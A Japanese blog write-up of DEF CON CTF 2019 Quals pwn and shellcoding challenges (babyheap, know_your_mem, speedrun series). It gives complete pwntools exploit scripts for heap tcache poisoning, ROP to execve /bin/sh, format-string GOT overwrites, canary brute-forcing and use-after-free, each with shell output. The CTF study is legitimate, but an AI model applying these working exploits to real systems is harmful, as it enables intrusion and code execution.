h_nosonの日記

競プロ、CTFなど

DEF CON CTF 2019 Quals Writeup

Harekazeとして参加してbabyheapとknow_your_mem、speedrunを10問解きました。チームでは590点獲得し70位でした。

[Pwn 112 pts] babyheap

$ ./babyheap
-----Yet Another Babyheap!-----
[M]alloc
[F]ree
[S]how
[E]xit
------------------------
Command:
> M
Size:
> 3
Content:
> 1
-----Yet Another Babyheap!-----
[M]alloc
[F]ree
[S]how
[E]xit
  • Malloc: サイズを入力すると0xf8か0x178のサイズの領域が確保される。サイズより1byte多く文字列を入力が出来、次のchunkのサイズを書き換えることができる。
  • Free: 指定したインデックスの領域を解放する
  • Show: 指定したインデックスの内容を表示する

まずlibcのアドレスを得るために同じサイズの領域を8回解放する。tcacheはfastbinsと同じように次のchunkへのポインタしか格納しないのでlibcのアドレスはリークできず、7つあるバッファから追い出してunsorted binsに入れるとbinsへのアドレスが領域に書き込まれるのでlibcのアドレスを得ることができる。

次に"Malloc"にあるoff by one errorを使ってchunkをオーバーラップさせてtcacheのlistの指す先を__malloc_hookに書き換える。後は__malloc_hookをone gadget RCEに書き換えてシェルを起動する。

#!/usr/bin/env python
from pwn import *

def malloc(size, content='A'):
    s.sendlineafter('Command:\n', 'M')
    s.sendlineafter('Size:\n', str(size))
    s.sendlineafter('Content:\n', content)

def free(index):
    s.sendlineafter('Command:\n', 'F')
    s.sendlineafter('Index:\n> ', str(index))

def show(index):
    s.sendlineafter('Command:\n', 'S')
    s.sendlineafter('Index:\n> ', str(index))
    return s.recvline(False)

if len(sys.argv) == 1:
    s = process('./babyheap')
else:
    s = remote('babyheap.quals2019.oooverflow.io', 5000)

libc = ELF('./libc.so')

for i in range(8):
    malloc(0xf8)
for i in range(3, 8):
    free(i)
for i in range(3):
    free(i)
malloc(0xf8)
malloc(0xf8, 'A' * 0xf8 + '\x81')
free(0)
malloc(0x178, 'A' * 0x100)
libc_base = u64(show(0)[0x100:].ljust(8, '\0')) - 0x1e4ca0
log.info('libc base: %#x' % libc_base)

malloc(0xf8)
malloc(0xf8)
malloc(0xf8, 'A' * 0xf8 + '\x81')
free(3)
free(2)
malloc(0x178, 'A' * 0x100 + p64(libc_base + libc.symbols['__malloc_hook'])[:6])
malloc(0xf8)
one_gadgets = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]
malloc(0xf8, p64(libc_base + one_gadgets[1])[:6])
s.sendline('M')
s.sendline(str(0xf8))
s.interactive()
 % ./exploit.py remote
[+] Opening connection to babyheap.quals2019.oooverflow.io on port 5000: Done
[*] '/home/vagrant/ctf/defconctf/2019/babyheap/libc.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] libc base: 0x7fd990bcf000
[*] Switching to interactive mode
> -----Yet Another Babyheap!-----
[M]alloc
[F]ree
[S]how
[E]xit
------------------------
Command:
> Size:
> $ cat flag
OOO{4_b4byh34p_h45_nOOO_n4m3}

[INTRO 108 pts] know_your_mem

mmapで確保された領域のアドレスを当てる問題。

mmapはMAP_FIXEDが指定されていなければ領域がオーバーラップしないようにしてくれる。よってある領域を確保しようとして返ってきたアドレスが指定したものと違う時はすでに確保された領域とオーバーラップが発生していることがわかる。初めは大きな領域から始めて再帰的に二分探索のようにしていくと効率よく見つけられる。mmapした後にmunmapしないとメモリが足りなくてエラーが起きるので注意。

// This is an example of turning simple C into raw shellcode.

// make shellcode.bin will compile to assembly
// make shellcode.bin.pkt will prepend the length so you can
//    ./know_your_mem < shellcode.bin.pkt

// Note: Right now the 'build' does not support .(ro)data
//       If you want them you'll have to adjust the Makefile.
//       They're not really necessary to solve this challenge though.


// From https://chromium.googlesource.com/linux-syscall-support/
static int my_errno = 0;
#define SYS_ERRNO my_errno
#include "linux-syscall-support/linux_syscall_support.h"

#define ADDR_MIN   0x0000100000000000UL
#define ADDR_MASK  0x00000ffffffff000UL
#define PROT_READ  1
#define PROT_WRITE 2
#define MAP_ANONYMOUS 32
#define MAP_PRIVATE 2
#define MAP_FAILED 0xffffffffffffffffUL
#define MAX_SIZE 0x4000000

__asm__("jmp _start");

long long search(long long left, long long right) {
    long long length = right - left;
    void *p = sys_mmap((void *)left, length, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    long long ret = 0;
    if (p == MAP_FAILED) {
        return 0;
    }
    sys_munmap(p, length);
    if (p != (void *)left) {
        if (length == 0x1000) {
            char *str = left;
            if (str[0] == 'O' && str[1] == 'O' && str[2] == 'O') {
                sys_write(1, str, 0x100);
                ret = left;
            } else {
                ret = 0;
            }
        } else {
            ret |= search(left, (left + right) / 2);
            ret |= search((left + right) / 2, right);
        }
    }
    return ret;
}

void _start()
{
    long long ret = 0;
    for (long long addr = ADDR_MIN; addr < 2 * ADDR_MIN; addr += MAX_SIZE) {
        void *p = sys_mmap(addr, MAX_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
        if (p == MAP_FAILED) {
            continue;
        }
        sys_munmap(p, MAX_SIZE);
        if (p != addr) {
            ret |= search(addr, (2 * addr + MAX_SIZE) / 2);
            ret |= search((2 * addr + MAX_SIZE) / 2, addr + MAX_SIZE);
        }
    }

    // sys_write(1, __builtin_frame_address(0), 5);  // Prints something (note: best avoid literals)
    // sys_exit_group(2);                            // Exit
}
$ make check
./simplified
[ ] This challenge may be slightly easier in Linux 4.17+. Here, we're running on Linux 4.15.0-47-generic (x86_64)
Loading your simplified solution from ./simplified_shellcode.so
[ ] Putting the flag somewhere in memory...
Secret loaded (header + 107 bytes)
[H] The flag is at 0x113777b39000
[ ] Putting red herrings in memory...
[H] Red herring at 0x1564124e7000
[H] Red herring at 0x15d230630000
...
[H] Red herring at 0x18c74338a000
[*] seccomp filter now active!
Hi! Soon I'll be your shellcode!
OOO: You found it, congrats! The flag is: OOO{theflagwillbehere} Make sure you print it to stdout, stderr may go to /dev/null in the hosted version.

[*] Your shellcode returned 0x113777b39000
[^] Success! Make sure you're also printing the flag, and that it's not taking too long. Next: convert your solution to raw shellcode -- you can start with C code, BTW! shellcode.c shows one way to do it.
Good, the simplified version worked! Let's now try raw shellcode...
./know_your_mem < shellcode.bin.pkt | tee | fgrep --text 'OOO{theflagwillbehere}'
[ ] Putting the flag somewhere in memory...
[ ] Putting red herrings in memory...
[*] seccomp filter now active!
OOO: You found it, congrats! The flag is: OOO{theflagwillbehere} Make sure you print it to stdout, stderr may go to /dev/null in the hosted version.
[*] Your shellcode returned 0x14c80eb3d000
Perfect! Now go get that flag :)

$ nc know_your_mem.quals2019.oooverflow.io 4669 < shellcode.bin.pkt
[ ] This challenge may be slightly easier in Linux 4.17+. Here, we're running on Linux 4.15.0-1037-aws (x86_64)
Send the length (uint16), then the shellcode.
[ ] All right, I read 362 bytes. I will call the first byte in a bit.
[ ] Putting the flag somewhere in memory...
Secret loaded (header + 36 bytes)
[ ] Putting red herrings in memory...
[*] seccomp filter now active!
OOO: You found it, congrats! The flag is: OOO{so many bits, so many syscalls}
[*] Your shellcode returned 0x15e774618000

[Pwn 5 pts] speedrun-001

スタックバッファオーバーフロー(stack BOF)がありSSPが無効、PIE無効、statically linkedでgadgetが豊富なのでROPをするだけ。

#!/usr/bin/env python
from pwn import *

if len(sys.argv) == 1:
    s = process('./speedrun-001')
else:
    s = remote('speedrun-001.quals2019.oooverflow.io', 31337)

elf = ELF('./speedrun-001')

pop_rax = 0x415664
pop_rdi = 0x400686
pop_rsi = 0x4101f3
pop_rdx = 0x44be16
syscall = 0x474e65
puts = 0x410390
read = 0x4498a0

payload = ''
payload += 'A' * 0x400
payload += 'A' * 8
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(elf.bss())
payload += p64(pop_rdx) + p64(0x100)
payload += p64(read)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(pop_rdi) + p64(elf.bss())
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(syscall)

s.sendafter('words?\n', payload)
s.recvline()
s.send('/bin/sh\0')
s.interactive()
$ ./exploit.py remote
[+] Opening connection to speedrun-001.quals2019.oooverflow.io on port 31337: Done
[*] '/home/vagrant/ctf/defconctf/2019/speedrun-001/speedrun-001'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
$ cat flag
OOO{Ask any pwner. Any real pwner. It don't matter if you pwn by an inch or a m1L3. pwning's pwning.}

[Pwn 5 pts] speedrun-002

stack BOF, SSP無効, PIE無効なのでこれもROPするだけ。

#!/usr/bin/env python
from pwn import *

if len(sys.argv) == 1:
    s = process('./speedrun-002')
else:
    s = remote('speedrun-002.quals2019.oooverflow.io', 31337)

elf = ELF('./speedrun-002')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi = 0x4008a3
pop_rsi_r15 = 0x4008a1
pop_rdx = 0x4006ec
leave = 0x40074a

s.sendafter('now?\n', 'Everything intelligent is so boring.')

bss_addr = elf.bss(0x500)

payload = ''
payload += 'A' * 0x400
payload += p64(bss_addr - 8)
payload += p64(pop_rdi) + p64(elf.got['puts'])
payload += p64(elf.symbols['puts'])
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(bss_addr) + p64(0)
payload += p64(pop_rdx) + p64(0x100)
payload += p64(elf.symbols['read'])
payload += p64(leave)
s.sendafter('more.\n', payload)

s.recvline()
libc_base = u64(s.recvline(False).ljust(8, '\0')) - libc.symbols['puts']
log.info('libc base: %#x' % libc_base)

payload = ''
payload += p64(pop_rdi) + p64(libc_base + libc.search('/bin/sh').next())
payload += p64(libc_base + libc.symbols['system'])
s.send(payload)
s.interactive()
$ ./exploit.py remote
[+] Opening connection to speedrun-002.quals2019.oooverflow.io on port 31337: Done
[*] '/home/vagrant/ctf/defconctf/2019/speedrun-002/speedrun-002'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] libc base: 0x7f0b34836000
[*] Switching to interactive mode
$ cat flag
OOO{I_didn't know p1zzA places__mAde pwners.}

[Shellcode 5 pts] speedrun-003

0x1eバイトでシェルコードを書く問題。前半と後半のxorが一致してなければいけない。0x1dバイトのシェルコードを作って全部をxorしたものを最後に持って来ればいい。

#!/usr/bin/env python
from pwn import *

if len(sys.argv) == 1:
    s = process('./speedrun-003')
else:
    s = remote('speedrun-003.quals2019.oooverflow.io', 31337)

def xor(a):
    return chr(reduce(lambda x, y: x ^ y, map(ord, a), 0))

shellcode = asm('''
    xor rsi, rsi
    push rsi
    mov rax, 0x68732f2f6e69622f
    push rax
    mov rdi, rsp
    xor rax, rax
    xor rdx, rdx
    mov al, SYS_execve
    syscall
''', arch='x86_64').ljust(29, 'A')
shellcode += xor(shellcode)
s.send(shellcode)
s.interactive()
$ ./exploit.py remote
[+] Opening connection to speedrun-003.quals2019.oooverflow.io on port 31337: Done
[*] Switching to interactive mode
Think you can drift?
Send me your drift
$ cat flag
OOO{Fifty percent of something is better than a hundred percent of nothing. (except when it comes to pwning)}

[Pwn 5 pts] speedrun-004

off by one errorがあり、前のスタックフレームのベースポインタを下位1バイトを書き換えられる。その後、leaveを2回するので、小さい値で上書きしておくことで高い確率でrspを入力を行った領域に変えることができる。そしてROPでシェルを起動する。nop sledと同じ要領でretを出来るだけROP chainの前に仕込んでおくことで高い確率で攻撃が成功する。

#!/usr/bin/env python
from pwn import *

if len(sys.argv) == 1:
    s = process('./speedrun-004')
else:
    s = remote('speedrun-004.quals2019.oooverflow.io', 31337)

elf = ELF('./speedrun-004')

pop_rdi = 0x400686
pop_rsi = 0x410a93
pop_rdx = 0x44c6b6
pop_rax = 0x415f04
syscall = 0x474f15
read = 0x44a140
ret = 0x400c45

s.sendline('257')
payload = ''
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(elf.bss())
payload += p64(pop_rdx) + p64(0x100)
payload += p64(read)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(pop_rdi) + p64(elf.bss())
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(syscall)
payload = p64(ret) * ((0x100 - len(payload)) / 8) + payload + '\x08'
s.send(payload)

s.send('/bin/sh\0')
s.interactive()
$ ./exploit.py remote
[+] Opening connection to speedrun-004.quals2019.oooverflow.io on port 31337: Done
[*] '/home/vagrant/ctf/defconctf/2019/speedrun-004/speedrun-004'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
i think i'm getting better at this coding thing.
how much do you have to say?
Ok, what do you have to say for yourself?
Interesting thought "E\x0c@", I'll take it into consideration.
$ cat flag
OOO{Maybe ur lying to yourself. Maybe ur NoT the white hat pretending 2 be a black hat. Maybe you're the black hat pretending 2 be the white hat.}

[Pwn 5 pts] speedrun-005

Format String Bug (FSB)がある。

void _main(void)

{
  long lVar1;
  long in_FS_OFFSET;
  char buf [1032];
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  printf("What do you mean this time? ");
  read(0,buf,0x400);
  printf("Interesting ");
  printf(buf);
  puts(" food for thought");
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

%pでlibcのアドレスをリークするのと同時にprintfの直後にあるputsを_mainに書き換えて同じ関数をもう一度実行させる。2回目はリークしたlibcのアドレスを使ってprintfをsystemに書き換える。putsは_mainのままなのでもう一度同じ関数が実行され、printf(buf)でシェルが起動する。なぜか3回目はreadが効かなくなっていたので2回目のreadで/bin/shを書き込んだ。

#!/usr/bin/env python
from pwn import *

if len(sys.argv) == 1:
    s = process('./speedrun-005')
else:
    s = remote('speedrun-005.quals2019.oooverflow.io', 31337)

elf = ELF('./speedrun-005')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

main = 0x40069d

payload = ''
prev = 0
for i, x in enumerate(p64(main)):
    payload += '%{}x'.format(ord(x) - prev + 0x100)
    payload += '%{}$hhn'.format(19 + i)
    prev = ord(x)
payload += '%27$s'
payload += 'A' * (8 - len(payload) % 8)
for i in range(8):
    payload += p64(elf.got['puts'] + i)
payload += p64(elf.got['read'])
s.send(payload)
s.recvuntil('Interesting ')
libc_base = u64(s.recvuntil('A')[-7:-1].ljust(8, '\0')) - libc.symbols['read']
log.info('libc base: %#x' % libc_base)

payload = ''
payload += '/bin/sh;'
prev = 8
for i, x in enumerate(p64(libc_base + libc.symbols['system'])):
    payload += '%{}x'.format(ord(x) - prev + 0x100)
    payload += '%{}$hhn'.format(19 + i)
    prev = ord(x)
payload += 'A' * (8 - len(payload) % 8 & 7)
for i in range(8):
    payload += p64(elf.got['printf'] + i)
s.send(payload)

s.interactive()

ここで問題発生。ローカルでは通るのだが、リモートでは…

$ ./exploit.py remote
[+] Opening connection to speedrun-005.quals2019.oooverflow.io on port 31337: Done
[*] '/home/vagrant/ctf/defconctf/2019/speedrun-005/speedrun-005'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] libc base: 0x7f3dfebaae10
[*] Switching to interactive mode
AA\x18\x10` food for thought
Safe, yet again.
[*] Got EOF while reading in interactive

通らない。そもそもlibcがあっていない。

ここでリモートのlibcが間違っているのではないかと疑って無駄に時間を使ってしまった(実際に間違っているのはバイナリ本体)。FSBで取り出したputsなどのアドレスをlibc-databaseに突っ込んでももちろん見つからない。今度はバイナリを疑ってprintf("%n$s")を使って調べてみるとgotのアドレスがずれていることがわかる。putsのgotがローカルでは0x601018、リモートでは0x601020など。びっくり。関数のアドレスも違うので同じようにprintf("%n$s")でバイナリのコードを出力しながら特定していった。完成後が以下のスクリプト

#!/usr/bin/env python
from pwn import *

if len(sys.argv) == 1:
    s = process('./speedrun-005')
    puts_got = 0x601018
    printf_got = 0x601028
    main = 0x40069d
else:
    s = remote('speedrun-005.quals2019.oooverflow.io', 31337)
    puts_got = 0x601020
    printf_got = 0x601030
    main = 0x40072d

elf = ELF('./speedrun-005')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

payload = ''
prev = 0
for i, x in enumerate(p64(main)):
    payload += '%{}x'.format(ord(x) - prev + 0x100)
    payload += '%{}$hhn'.format(19 + i)
    prev = ord(x)
payload += '%85$p'
payload += 'A' * (8 - len(payload) % 8)
for i in range(8):
    payload += p64(puts_got + i)
s.send(payload)
s.recvuntil('Interesting ')
libc_base = int(s.recvuntil('A')[-15:-1], 0x10) - 0x1b3787
log.info('libc base: %#x' % libc_base)

payload = ''
payload += '/bin/sh;'
prev = 8
for i, x in enumerate(p64(libc_base + libc.symbols['system'])):
    payload += '%{}x'.format(ord(x) - prev + 0x100)
    payload += '%{}$hhn'.format(19 + i)
    prev = ord(x)
payload += 'A' * (8 - len(payload) % 8 & 7)
for i in range(8):
    payload += p64(printf_got + i)
s.send(payload)

s.interactive()
$ ./exploit.py remote
[+] Opening connection to speedrun-005.quals2019.oooverflow.io on port 31337: Done
[*] '/home/vagrant/ctf/defconctf/2019/speedrun-005/speedrun-005'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] libc base: 0x7efcd1520000
[*] Switching to interactive mode
AA \x10`What do you mean this time? Interesting /bin/sh;  
...
24A0\x10`$ cat flag
OOO{$ will come and go. W3 all know that. The most important thing in LYfe will always be the people in this competition. Right here, right now..._pwning_}

TLが面白かった。

[Shellcoding 5 pts] speedrun-006

長さ0x1aのバイト列を入力すると変換を行ってからシェルコードとして実行する。

変換とは

  • レジスタを全部クリアする
  • int3をシェルコードの中にいくつか挿入する

具体的には

xor rbp, rbp
xor rsp, rsp
xor rax, rax
...
xor r15, r15
[入力した5バイト]
int3
[入力した4バイト]
int3
[入力した9バイト]
int3
[入力した8バイト]
int3

となっている。

シェルを起動するには足りないのでreadしてもう一度書き込むことを考える。レジスタがクリアされているのでアドレスを得るためにlea rsi, [rip + n]を使った。int3を避けてjmpしながらもう一度シェルコードを読み込むようにすると以下のようになった。

label1:
    mov dl, 0xff
    nop
    jmp label2
    int3
    nop
    nop
    nop
    nop
    int3
label2:
    lea rsi, [rel label1]
    syscall

これで十分な長さのシェルコードを書き込める。

#!/usr/bin/env python
from pwn import *

if len(sys.argv) == 1:
    s = process('./speedrun-006')
else:
    s = remote('speedrun-006.quals2019.oooverflow.io', 31337)

context.arch = 'x86_64'

shellcode = '\xB2\xFF\x90\xEB\x06\x90\x90\x90\x90\x48\x8D\x35\xF0\xFF\xFF\xFF\x0F\x05'
shellcode = shellcode.ljust(0x1a, '\x90')
s.send(shellcode)

shellcode2 = '\x90' * 0x15
shellcode2 += asm('mov rsp, rsi\n' + shellcraft.sh())
s.send(shellcode2)
s.interactive()
$ ./exploit.py remote
[+] Opening connection to speedrun-006.quals2019.oooverflow.io on port 31337: Done
[*] Switching to interactive mode
How good are you around the corners?
Send me your ride
$ cat flag
OOO{Uh, guys I__Think We Need A Change of___plans. They got A pwn!!! I'm sorry. Did somebody say a pwn!?!?!?}

[Pwn 5 pts] speedrun-008

void _main(void)

{
  long in_FS_OFFSET;
  undefined buf [1032];
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  puts("Yes?");
  read(0,buf,0x7df);
  write(1,"Whatever\n",9);
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    FUN_0044bf70();
  }
  return;
}

stack BOFがあるけどcanaryがあるため簡単にはできない。.init_arrayを見てみるとflagを読み込んでいる関数があり、

void read_flag(void)

{
  long lVar1;
  uint fd;
  long lVar2;
  long in_FS_OFFSET;
  ulong new_canary;
  ulong c;
  ulong *local_20;
  long len;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  fd = open("/flag",0);
  while( true ) {
    lVar2 = read((ulong)fd,&c,1,&c);
    if (lVar2 == 0) break;
    new_canary = new_canary << 8 ^ (long)(char)((byte)c ^ (byte)(new_canary >> 0x38));
  }
  close((ulong)fd);
  new_canary = new_canary & 0xffffffffffffff00;
  c = *(ulong *)(in_FS_OFFSET + 0x28);
  local_20 = &c;
  do {
    local_20 = local_20 + 1;
  } while (*local_20 != c);
  *local_20 = new_canary;
  *(ulong *)(in_FS_OFFSET + 0x28) = new_canary;
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    FUN_0044bf70();
  }
  return;
}

細かいことはよくわからないがflagに依存した値でcanaryを上書きしている。つまり、canaryはプロセスによらず一定。したがって_main()のオーバーフローで1バイトずつ特定することができる。canaryを特定すれば後はROPをするだけ。

#!/usr/bin/env python
from pwn import *

if len(sys.argv) == 1:
    canary = p64(0xc53466e7d5f00)
else:
    canary = p64(0x1e5c4a312050c900)
while len(canary) < 8:
    for i in range(0x100):
        if len(sys.argv) == 1:
            s = process('./speedrun-008', stderr=None)
        else:
            s = remote('speedrun-008.quals2019.oooverflow.io', 31337)

        s.send('A' * 0x408 + canary + chr(i))
        s.recvuntil('Whatever\n')
        try:
            s.recvline()
            canary += chr(i)
            break
        except EOFError:
            pass
        finally:
            s.close()
    print canary.encode('hex')

canary = u64(canary)
log.info('canary: %#x' % canary)

if len(sys.argv) == 1:
    s = process('./speedrun-008', stderr=None)
else:
    s = remote('speedrun-008.quals2019.oooverflow.io', 31337)

elf = ELF('./speedrun-008')

pop_rdi = 0x400686
pop_rsi = 0x410253
pop_rdx = 0x449915
pop_rax = 0x4156c4
syscall = 0x474ec5
read = 0x449900

payload = ''
payload += 'A' * 0x408
payload += p64(canary)
payload += 'A' * 8
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(elf.bss())
payload += p64(pop_rdx) + p64(8)
payload += p64(read)
payload += p64(pop_rdi) + p64(elf.bss())
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(syscall)
s.send(payload)
s.send('/bin/sh\0')
s.interactive()
$ ./exploit.py remote
[*] canary: 0x1e5c4a312050c900
[+] Opening connection to speedrun-008.quals2019.oooverflow.io on port 31337: Done
[*] '/home/vagrant/ctf/defconctf/2019/speedrun-008/speedrun-008'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
More racing? Haven't you had enough?
Yes?
Whatever
$ cat flag
OOO{h4krs__All_know: we choose to make our pwn fate.}

[Pwn 5 pts] speedrun-009

選択肢が2つあり、1つ目はstack BOF、2つ目はFSBがある。FSBでlibcなどのアドレスをリークしてROPする。

#!/usr/bin/env python
from pwn import *

def bof(payload):
    s.sendafter('3\n', '1')
    s.send(payload)

def fsb(payload):
    s.sendafter('3\n', '2')
    s.send(payload + '\0')
    s.recvuntil('it "')
    return s.recvuntil('"?')[:-2]

def end():
    s.sendafter('3\n', '3')

if len(sys.argv) == 1:
    s = process('./speedrun-009')
else:
    s = remote('speedrun-009.quals2019.oooverflow.io', 31337)

stack_addr = int(fsb('%p'), 0x10)
log.info('stack address: %#x' % stack_addr)
libc_base = int(fsb('%2$p'), 0x10) - 0x3ed8c0
log.info('libc base: %#x' % libc_base)
canary = int(fsb('%163$p'), 0x10)
log.info('canary: %#x' % canary)

one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
payload = ''
payload += 'A' * 0x408
payload += p64(canary)
payload += 'A' * 8
payload += p64(libc_base + one_gadgets[0])
bof(payload)

end()
s.interactive()
$ ./exploit.py remote
[+] Opening connection to speedrun-009.quals2019.oooverflow.io on port 31337: Done
[*] stack address: 0x7ffcc7e31e80
[*] libc base: 0x7f3fb5296000
[*] canary: 0x5d19c8126d728600
[*] Switching to interactive mode
$ cat flag
OOO{Is it even about the cars anymore? Where does it end???}

[Pwn 5 pts] speedrun-010

nameのリストとmessageのリストがあり、それぞれに対してmallocやfreeが行える。

void FUN_001008bc(void)

{
  long lVar1;
  ssize_t sVar2;
  Name *name;
  Message *message;
  long in_FS_OFFSET;
  char choice;
  int total_messages;
  int total_names;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  total_messages = 0;
  total_names = 0;
  while( true ) {
    menu();
    sVar2 = read(0,&choice,1);
    if (sVar2 != 1) break;
    if (choice == '1') {
      if (5 < total_names) break;
      puts("Need a name");
      name = (Name *)malloc(0x30);
      read(0,name->name,0x17);
      name->name[0x17] = 0;
      *(code **)&name->func = puts;
      names[(long)total_names] = name;
      total_names = total_names + 1;
    }
    else {
      if (choice == '2') {
        if (5 < total_messages) break;
        puts("Need a message");
        message = (Message *)malloc(0x30);
        read(0,message->message,0x18);
        message->message[0x18] = 0;
        (*(code *)names[(long)(total_names + -1)]->func)(names[(long)(total_names + -1)]->name);
        *(code **)&message->func = puts;
        (*(code *)message->func)(" says ");
        (*(code *)message->func)(message->message);
        (*(code *)message->func)(&new_line);
        message->name = names[(long)(total_names + -1)];
        messages[(long)total_messages] = message;
        total_messages = total_messages + 1;
      }
      else {
        if (choice == '3') {
          if (total_names == 0) break;
          free(names[(long)(total_names + -1)]);
        }
        else {
          if ((choice != '4') || (total_messages == 0)) break;
          free(messages[(long)(total_messages + -1)]);
          total_messages = total_messages + -1;
        }
      }
    }
  }
  if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

namesの要素をfreeした時にtotal_namesをデクリメントしてないため、Use after free (UAF)の脆弱性がある。nameとmessageの構造体のサイズが同じなのでnameをfreeした後に新しくmessageを作ることでname->funcの上書きを行える。また、同じ方法でname->funcつまりputsのアドレスをリークできる。後はname->funcをsystemに書き換えることでsystem("/bin/sh")を実行する。

#!/usr/bin/env python
from pwn import *

def add_name(name):
    s.sendafter('5\n', '1')
    s.sendafter('name', name)

def add_message(message):
    s.sendafter('5\n', '2')
    s.sendafter('message', message)
    s.recvuntil('says \n')
    return s.recvline(False)

def free_name():
    s.sendafter('5\n', '3')

def free_message():
    s.sendafter('5\n', '4')

if len(sys.argv) == 1:
    s = process('./speedrun-010')
else:
    s = remote('speedrun-010.quals2019.oooverflow.io', 31337)

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

add_name('A')
free_name()
libc_base = u64(add_message('A' * 0x10)[0x10:].ljust(8, '\0')) - libc.symbols['puts']
log.info('libc base: %#x' % libc_base)

add_name('/bin/sh\0')
free_name()
s.sendafter('5\n', '2')
s.sendafter('message', 'A' * 0x10 + p64(libc_base + libc.symbols['system']))
s.interactive()
$ ./exploit.py remote
[+] Opening connection to speedrun-010.quals2019.oooverflow.io on port 31337: Done
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] libc base: 0x7f20e3a8a000
[*] Switching to interactive mode

$ cat flag
OOO{Yeah, he's loony. He just like his toons. Aren't W#_____411???}

[Shellcoding 5 pts] speedrun-011

以下の状況でシェルコードを走らせる。

  • seccompによってsystem callはread, write, exit, rt_sigreturnのみ許されている
  • stdout, stdin, stderrはシェルコードが実行される前に閉じられる
  • シェルコードの第一引数(rdi)にflagが渡される

flagを一文字ずつ、ある文字と一致するかを比較して、一致した時に無限ループを起こすことでタイミングの差でflagを特定した。

#!/usr/bin/env python
from pwn import *
import string

flag = ''
while True:
    for c in string.ascii_letters + string.digits + string.punctuation:
        print c
        if len(sys.argv) == 1:
            s = process('./speedrun-011')
        else:
            s = remote('speedrun-011.quals2019.oooverflow.io', 31337)

        shellcode = ''
        if len(flag) > 0:
            shellcode += '\x48\x83\xC7' + chr(len(flag))
        shellcode += '\x80\x3F' + c + '\x74\xFE'
        s.send(shellcode)
        s.recvuntil('vehicle\n')
        try:
            s.recv(timeout=1)
            flag += c
            break
        except EOFError:
            pass
        finally:
            s.close()
    print flag
    if flag.endswith('}'):
        break
$ ./exploit.py remote
...
[+] Opening connection to speedrun-011.quals2019.oooverflow.io on port 31337: Done
[*] Closed connection to speedrun-011.quals2019.oooverflow.io port 31337
{
[+] Opening connection to speedrun-011.quals2019.oooverflow.io on port 31337: Done
[*] Closed connection to speedrun-011.quals2019.oooverflow.io port 31337
|
[+] Opening connection to speedrun-011.quals2019.oooverflow.io on port 31337: Done
[*] Closed connection to speedrun-011.quals2019.oooverflow.io port 31337
}
[+] Opening connection to speedrun-011.quals2019.oooverflow.io on port 31337: Done
[*] Closed connection to speedrun-011.quals2019.oooverflow.io port 31337
OOO{Why___does_th0r__need_a_car?}

解きたかった問題

  • redacted-puzzle
    八角形の一点を追っていくと35 * 8ビット列が取れたがどう変換してもflagにはならなかった
  • babytrace
    結構解かれていたので悔しい。angrが全くわかっていない。
  • speedrun-007
    libcなどのアドレスの下位1バイトを書き換えてROPをするのだろうなという気持ちだったけど気合が足りずあまり取り組めなかった